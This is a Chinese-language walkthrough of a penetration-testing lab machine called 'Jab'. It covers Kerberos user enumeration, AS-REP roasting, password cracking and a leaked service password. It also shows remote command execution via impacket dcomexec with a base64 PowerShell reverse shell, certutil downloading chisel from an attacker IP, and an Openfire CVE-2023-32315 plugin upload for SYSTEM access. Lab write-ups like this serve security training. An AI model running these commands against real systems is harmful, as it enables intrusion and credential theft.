总体思路
端口扫描->访问Jabber服务(自建用户)->john解密->访问Jabber服务(服务器用户)->获取用户权限->端口转发openfire后台管理界面->上传CVE-2023-32315插件->获取system权限
信息收集&端口利用
nmap 10.10.11.4
发现没有开放常用端口,开放了445端口,考虑使用kerbrute对目标域名进行扫描
./kerbrute userenum --dc 10.10.11.4 -d jab.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
扫描一会后,发现用户名数量非常庞大,一时半会结束不了,先进行下一步
注意到开放的端口还有5222、5269、7070、7443等,其中5222端口经过查询后为jabber服务的端口、7070端口为openfire服务的端口
Openfire服务存在一个管理界面,默认端口为9090,这里访问不了,猜测需要进入内网将端口转发出来后利用,因此先利用5222端口的Jabber服务
Jabber服务
Jabber 是著名的Linux即时通讯服务服务器,它是一个自由开源软件,能让用户自己架即时通讯服务器,可以在Internet上应用,也可以在局域网中应用。Jabber最有优势的就是其通信协议,可以和多种即时通讯对接
在Linux上使用Jabber服务需要安装pidgin客户端
apt-get install pidgin
在命令行输入pidgin启动客户端
第一次进入客户端时,我们需要注册一个用户,点击Accounts->Manage Accounts->Add
Jabber服务是和XMPP服务相关联的,协议选择XMPP,此处的账户名和密码为登录到jab.htb的账户和密码,并且在advanced中设置好目标靶机的ip地址,首次登录我们没有账户信息,因此需要勾选底下的新建账户选项,点击确认后,在注册界面填入刚刚的信息
注册完成后,点击Accounts->Enable Account->connan@jab.htb就能够进入到该角色中
点击Buddies->Join a chat加入一个聊天室
图中的room名称随意,password为刚刚设置的密码
进入到聊天室,但是里面没有任何信息,需要搜索与该用户相关的聊天室
先在tools模块中添加插件
将XMPP模块相关内容勾选上,然后选择XMPP服务发现
点击Browse
能显示出除了connan以外,还有test和test2聊天室,双击添加查看
test聊天室无法访问,test2聊天室只有一段base64的编码,但是也给了我们提示信息,有一个bdavis用户,于是想到查看还有什么用户
选择search for users
*号查找所有用户
下一步需要导出这些用户名,先打开tools中的XMPP Console,然后再进行搜索用户,这样搜索的文件就能被记录下来
将文件内容复制出来,使用正则表达式对其中内容进行筛选,使其只显示出用户名
grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' output.txt | sed 's/@jab.htb//g' | sort | uniq > user.txt
grep: 这是一个搜索工具,用于在文件中搜索匹配的行。
-o:只输出匹配的部分,而不是整行。
-P:使用 Perl 兼容的正则表达式。
‘< value >\K[^<]+@jab.htb(?=< /value >)’:这是一个Perl兼容的正则表达式,用于匹配< value >标签内的内容,并提取 @jab.htb 之前的部分。\K是重置匹配开始位置的操作符,意味着匹配结果从\K 之后的部分开始。
|:管道操作符,用于将一个命令的输出作为另一个命令的输入。
sed:一个流编辑器,用于对输入流(或文件)进行基本的文本转换。
‘s/@jab.htb//g’: 这是一个sed命令,用于替换文本,这里它将所有的@jab.htb替换为空字符串(即删除它)。
sort:这是一个排序工具,用于对输入行进行排序。
uniq:这是一个用于报告或省略重复行的工具。它默认只输出唯一的行。
在输出了所有用户名之后,使用impacket模块中的GetNPUsers功能来筛选出所有不需要”Kerberos预身份验证”的用户
impacket-GetNPUsers jab.htb/ -usersfile user.txt -outputfile outputusers.txt -dc-ip 10.10.11.4 -no-pass
运行完成后,在outputusers.txt文件中会有三行数据
使用john来破解它(此处不知道为什么编者的hashcat的18200模块破解不出来)
破解出了jmontgomery用户的密码,用此用户登录到Jabber
进入pentest2003聊天室,通过查阅聊天记录我们能看到svc_openfire用户的登录凭据为
!@#$%^&*(1qazxsw
因为目标靶机没有开放5985端口,因此不能使用evil-winrm来登录,这里使用impacket包中的dcomexec进行登录并执行命令
impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e [revshell_in_base64]' -silentcommand
其中[revshell_in_base64]内容为base64编码后的revshell代码
拿到用户权限
权限提升
前面提到Openfire还有一个处于内网的9090管理界面,这里先上传chisel将9090端口转发出来
certutil.exe -urlcache -split -f http://10.10.XX.XX:XXXX/chisel.exe
客户端和服务器端分别运行chisel
转发成功后,访问本地的9090端口
使用svc_openfire/!@#$%^&*(1qazxsw登录进界面
搜索Openfire相关漏洞,注意到存在CVE-2023-32315,下载压缩包文件后,根据github上的说明,使用mvn生成jar文件
mvn clean package
在插件处上传jar包文件
上传完成后,在server->server-settings访问shell plugin插件
密码为123,在右上角选择系统命令
执行whoami后发现是system权限
使用cmd执行powershell来反弹shell
cmd.exe /c powershell -e [revshell_in_base64]
提权成功
PS:因为着急下班所以写的有点匆忙,明天会把细节补上(悲